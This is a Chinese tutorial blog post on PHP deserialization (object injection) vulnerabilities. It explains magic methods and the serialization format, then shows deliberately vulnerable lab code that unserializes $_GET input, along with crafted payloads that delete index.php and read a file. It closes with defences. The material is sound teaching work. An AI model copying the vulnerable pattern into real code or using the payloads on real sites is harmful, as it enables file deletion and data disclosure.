web应用程序之php反序列化漏洞

Posted 泰斗实验室

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了web应用程序之php反序列化漏洞相关的知识,希望对你有一定的参考价值。

php反序列化漏洞

关于php面向对象编程: 对象:可以对其做事情的一些东西。一个对象有状态、行为和标识三种属性。 类:一个共享相同结构和行为的对象的集合。 每个类的定义都以关键字class开头,后面跟着类的名字。一个类可以包含有属于自己的变量,变量(称为“属性”)以及函数(“称为方法”)。类定义了一件事物的抽象特点。通常来说,类定义了事物的属性和它可以做到的。类可能会包含一些特殊的函数叫magic函数,magic函数命名是以符号“”开头的,比如 _construct, _destruct, _toString, _sleep, _wakeup等。这些函数在某些情况下会自动调用,比如:

construct当一个对象创建时调用(constructor);

destruct当一个对象被销毁时调用(destructor);

toString当一个对象被当作一个字符串时使用。

了解php对象概念以及php对象的一些简单特性

我们先创建一个简单的php对象:

 
   
   
 
  1. <?php

  2. class TestClass

  3. {

  4. //一个变量

  5. public $variable = 'This is a string';

  6. //一个简单的方法

  7. public function PrintVariable()

  8. {

  9. echo $this->variable;

  10. }

  11. }

  12. //创建一个对象

  13. $object = new TestClass();

  14. //调用一个方法

  15. $object->PrintVariable();

  16. ?>

  17. //test.php

运行结果如下:

接下来开始尝试使用magic函数,在类中添加一个magic函数:

 
   
   
 
  1. <?php

  2. class TestClass

  3. {

  4. //一个变量

  5. public $variable = 'This is a string';

  6. //一个简单的方法

  7. public function PrintVariable()

  8. {

  9. echo $this->variable.'<br />';

  10. }

  11. //Constructor

  12. public function __construct()

  13. {

  14. echo '__construct<br />';

  15. }

  16. //Destructor

  17. public function __destruct()

  18. {

  19. echo '__destruct<br />';

  20. }

  21. //call

  22. public function __toString()

  23. {

  24. return '__toString<br />';

  25. }

  26. }

  27. //创建一个对象

  28. //__construct会被调用

  29. $object = new TestClass();

  30. //创建一个方法

  31. //‘This is a string’将会被输出

  32. $object->PrintVariable();

  33. //对象被当作一个字符串

  34. //toString会被调用

  35. echo $object;

  36. //php脚本要结束时,__destruct会被调用

  37. ?>

  38. //test1.php

再来看一下这次:

从结果看,这几个magic函数依次被调用了,这个旨在帮助我们理解php的magic函数。

了解什么是php序列化以及序列化的一些格式

在传递变量的过程中,有可能遇到变量值要跨脚本文件传递的过程。如果一个脚本中想要的调用之前一个脚本的变量,但是之前一个脚本已经执行完毕,所有的变量和内容释放掉了,那该如何操作呢?serialize和unserialize就是解决这一问题的存在,serialize可以将变量转换为字符串,并且在转换的过程中可以保存当前变量的值,而unserialize则可以将serialize生成的字符串转换回变量。通俗来说:通过反序列化在特定条件下可以重建php对象并执行php对象中某些magic函数。我们通过例子来看php对象序列化之后的格式,代码如下:

 
   
   
 
  1. <?php

  2. //一个类

  3. class User

  4. {

  5. //类的数据

  6. public $age = 0;

  7. public $name = '';

  8. //输出数据

  9. public function printdata()

  10. {

  11. echo 'User '.$this->name.' is '.$this->age.' years old.<br />';

  12. }

  13. }

  14. //创建一个对象

  15. $usr = new User();

  16. //设置数据

  17. $usr->age = 18;

  18. $usr->name = 'vergilben';

  19. //输出数据

  20. $usr->printdata();

  21. //输出序列化后的数据

  22. echo serialize($usr)

  23. ?>

  24. //test2.php

结果如下:

下面的O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:9:"vergilben";}就是对象user序列化后的形式,“O”表示对象,“4”表示对象名长度为4,“User”为对象名,“2”表示有2个参数。“{}”里面是参数的key和value,“s”表示string对象,“3”表示长度,“age”则为key;“i”是interger对象,“18”是value,后面的都是相同的道理。接下来我们进行反序列化试一试,代码如下:

 
   
   
 
  1. <?php

  2. //一个类

  3. class User

  4. {

  5. //类的数据

  6. public $age = 0;

  7. public $name = '';

  8. //输出数据

  9. public function printdata()

  10. {

  11. echo 'User '.$this->name.' is '.$this->age.' years old.<br />';

  12. }

  13. }

  14. //重建对象

  15. $usr = unserialize('O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:9:"vergilben";}');

  16. //输出数据

  17. $usr->printdata();

  18. ?>

  19. //test3.php

运行:

可以看到,上次序列化的结果被转变成正常的语句了。

明白php对象注入的成因

我们知道magic函数是php对象的特殊函数,在某些特殊情况下会被调用,这下特殊情况当然包含serialize和unserialize。sleep magic方法在一个对象被序列化时调用,wakeup magic方法在一个对象被反序列化时调用。下面解释一下:

 
   
   
 
  1. <?php

  2. class test

  3. {

  4. public $variable = 'BUZZ';

  5. public $variable2 = 'OTHER';

  6. public function printvariable()

  7. {

  8. echo $this->variable.'<br />';

  9. }

  10. public function __construct()

  11. {

  12. echo '__construct'.'<br />';

  13. }

  14. public function __destruct()

  15. {

  16. echo '__destruct'.'<br />';

  17. }

  18. public function __wakeup()

  19. {

  20. echo '__wakeup'.'<br />';

  21. }

  22. public function __sleep()

  23. {

  24. echo '__sleep'.'<br />';

  25. return array('variable','variable2');

  26. }

  27. }

  28. //创建一个对象,回调用__construct

  29. $object = new test();

  30. //序列化一个对象,会调用__sleep

  31. $serialized = serialize($object);

  32. //输出序列化后的字符串

  33. print 'Serialized:'.$serialized.'<br />';

  34. //重建对象,会调用__wakeup

  35. $object2 = unserialize($serialized);

  36. //调用printvariable,会输出数据(BUZZ)

  37. $object2->printvariable();

  38. //脚本结束,会调用__destruct

  39. ?>

  40. //test4.php

运行:

可以看到serialize时调用了sleep,unserialize时调用了wakeup,在对象被销毁的时候用了destruce。 存在漏洞的思路:一个类用于临时将日志储存进某个文件,当destruct被调用时,日志文件将会被删除,比如:

 
   
   
 
  1. <?php

  2. class logfile

  3. {

  4. //log文件名

  5. public $filename = 'error.log';

  6. //一些用于储存日志的代码

  7. public function logdata($text)

  8. {

  9. echo 'log data:'.$text.'<br />';

  10. file_put_contents($this->filename,$text,FILE_APPEND);

  11. }

  12. //destrcuctor 删除日志文件

  13. public function __destruct()

  14. {

  15. echo '__destruct deletes '.$this->filename.'file.<br />';

  16. unlink(dirname(__FILE__).'/'.$this->filename);

  17. }

  18. }

  19. ?>

  20. //test5.php

调用这个类:

 
   
   
 
  1. <?php

  2. include 'test5.php'

  3. class User

  4. {

  5. //类数据

  6. public $age = 0;

  7. public $name = '';

  8. //输出数据

  9. public function printdata()

  10. {

  11. echo 'User '.$this->name.' is'.$this->age.' years old.<br />';

  12. }

  13. }

  14. //重建数据

  15. $usr = unserialize($_GET['usr_serialized']);

  16. ?>

  17. //一个示例代码

从代码中可以看到:$usr = unserialize($GET['usrserialized']);$GET['usrserialized']是可控的,那么我们就可以构造输入删除任意文件 构造输入删除目录下的index.php文件:

 
   
   
 
  1. <?php

  2. include 'test5.php';

  3. $object = new logfile();

  4. $object->filename = 'index.php';

  5. echo serialize($object).'<br />';

  6. ?>

  7. //test7.php

接下来先进入index.php:

接下来尝试使用test7.php删除了index.php,进入test7.php:现在在目录里已经没有了index.php:

我们再次访问一下test7.php试一试:

index.php已经没有了。 这是一个简单的示例。

常见的注入点

上一部分展示了由于输入可控造成的destruct函数删除任意文件,其实问题也可能存在于wakeup、sleep、toString等其他magic函数,一切都取决于程序逻辑。比如,某用户类定义了一个toString,为了让应用程序能够将类作为一个字符串输出(echo $object),而且其他类也可能定义了一个类允许toString读取某个文件。 现在开始这个小实验,代码如下:

 
   
   
 
  1. <?php

  2. include 'test9.php';

  3. $fileobj = new fileclass();

  4. $fileobj->filename = 'hello.txt';

  5. echo serialize($fileobj);

  6. ?>

  7. //test8.php

我们先访问test8.php,结果如下:


 
   
   
 
  1. <?php

  2. class fileclass

  3. {

  4. //文件名

  5. public $filename = 'error.log';

  6. //当对象被作为一个字符串会读取这个文件

  7. public function __toString()

  8. {

  9. return file_get_contents($this->filename);

  10. }

  11. }

  12. class user

  13. {

  14. //class data

  15. public $age = 0;

  16. public $name = '';

  17. //允许对象作为一个字符串输出上面的data

  18. public function __toString()

  19. {

  20. return 'user '.$this->name.' is '.$this->age.' years old.<br />';

  21. }

  22. }

  23. //用户可控

  24. $obj = unserialize($_GET['usr_serialized']);

  25. //输出__toString

  26. echo $obj

  27. ?>

  28. //test9.php

接下来我们出发反序列化漏洞,获取hello.txt的内容: 构造url: http://localhost/test9.php?usr_serialized=O:9:%22fileclass%22:1:{s:8:%22filename%22;s:9:%22hello.txt%22;}访问:我们看一下hello.txt的内容:

注意:这仅仅是个小实验,在真实环境下没有这么容易,要仔细分析提供的代码找出漏洞。

知识补充

unserialize漏洞依赖几个条件:

  1. unserialize函数的参数可控

  2. 脚本中存在一个构造函数(construct())、析构函数(destruct())、__wakeup()函数中有向php文件中写数据的操作的类

  3. 所写的内容需要有对象中的成员变量的值

防范的方法有:

  1. 严格控制unserialize函数的参数,坚持用户所输入的信息都是不可靠的原则

  2. 对于unserialize后的变量内容进行检查,以确定内容没有被污染。

                                                              

以上是关于web应用程序之php反序列化漏洞的主要内容,如果未能解决你的问题,请参考以下文章

php 反序列化漏洞之phar://

15-PHP代码审计——yii 2.0.37反序列化漏洞

15-PHP代码审计——yii 2.0.37反序列化漏洞

CTFshow刷题日记-WEB-反序列化(web254-278)PHP反序列化漏洞pop链构造PHP框架反序列化漏洞python反序列化漏洞

2-Web安全——php反序列化漏洞

2-Web安全——php反序列化漏洞